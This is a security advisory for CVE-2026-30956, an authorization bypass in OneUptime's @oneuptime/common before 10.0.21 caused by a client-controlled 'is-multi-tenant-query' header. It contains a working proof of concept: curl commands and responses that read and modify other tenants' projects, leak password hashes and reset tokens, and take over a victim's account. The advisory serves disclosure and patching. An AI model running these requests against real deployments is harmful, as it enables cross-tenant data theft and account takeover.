@oneuptime/common
Affected
- introduced
0, fixed10.0.21(semver)
Fixed versions
10.0.21
Fix
- Fixed version
10.0.21npm install @oneuptime/[email protected]
Advisory
Also known as: CVE-2026-30956
OneUptime has authorization bypass via client‑controlled is-multi-tenant-query header that leads to cross‑tenant data exposure and account takeover
Summary
A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
This results in cross‑tenant data exposure and full account takeover.
Details
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts
if (req.headers["is-multi-tenant-query"]) {
props.isMultiTenantRequest = true;
}
BasePermission.ts
if (!props.isMultiTenantRequest) {
TablePermission.checkTableLevelPermissions(...)
QueryPermission.checkQueryPermission(...)
SelectPermission.checkSelectPermission(...)
}
When the attacker sends:
is-multi-tenant-query: true
the system skips all authorization checks including:
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with:
@MultiTenentQueryAllowed(true)
allow cross-tenant queries when the header is present.
The Project model contains a relation:
createdByUser
Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:
password
resetPasswordToken
webauthnChallenge
Reset token stored in plaintext
In the password reset flow:
Authentication.ts
resetPasswordToken: token
The reset token is stored in plaintext in the database.
During password reset:
/api/identity/reset-password
the server validates the provided token directly.
If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
This results in full account takeover.
PoC
Setup:
7cb77c45-c2e0-42b5-8a28-57aa0dec6e82)88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email [email protected]---
Chain 1: Direct Project Isolation Bypass
1. Read isolation bypass
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {},
"select": {
"_id": true,
"name": true,
"createdOwnerEmail": true
}
}'
Result: Returns both the attacker's and victim's projects:
{
"data": [
{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"name": "Victim Project",
"createdOwnerEmail": { "value": "[email protected]" }
},
{
"_id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82",
"name": "Attacker Project",
"createdOwnerEmail": { "value": "[email protected]" }
}
],
"count": 2
}
Victim project name is initially: Victim Project ORIGINAL
curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{"name":"Victim Project EXPLOIT"}'
Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.
Chain 2: Account Takeover via Credential Leakage
curl -X POST http://localhost/api/identity/forgot-password \
-H "content-type: application/json" \
-d "{\"email\":\"[email protected]\"}"
curl -X POST http://localhost/api/project/get-list \
-H "authorization: Bearer <attacker_token>" \
-H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \
-H "is-multi-tenant-query: true" \
-H "content-type: application/json" \
-d '{
"query": {"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"},
"select": {
"_id": true,
"createdByUser": {
"email": true,
"password": true,
"resetPasswordToken": true
}
}
}'
Result: Sensitive user data is exposed:
{
"data": [{
"_id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23",
"createdByUser": {
"email": {"value": "[email protected]"},
"password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"},
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb"
}
}]
}
# Reset password with leaked token
curl -X POST http://localhost/api/identity/reset-password \
-H "content-type: application/json" \
-d '{
"resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb",
"password": "AttackerChosenPassword123!"
}'
# Login as victim with new password
curl -X POST http://localhost/api/identity/login \
-H "content-type: application/json" \
-d '{
"email": "[email protected]",
"password": "AttackerChosenPassword123!"
}'
Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.
Result: Victim project name is updated despite the attacker not being a member of the victim project.
Impact
This vulnerability allows a low‑privileged authenticated user to:
Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.
Critical Basis: The source's own band: CRITICAL
0, fixed 10.0.21 (semver)10.0.21
10.0.21npm install @oneuptime/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0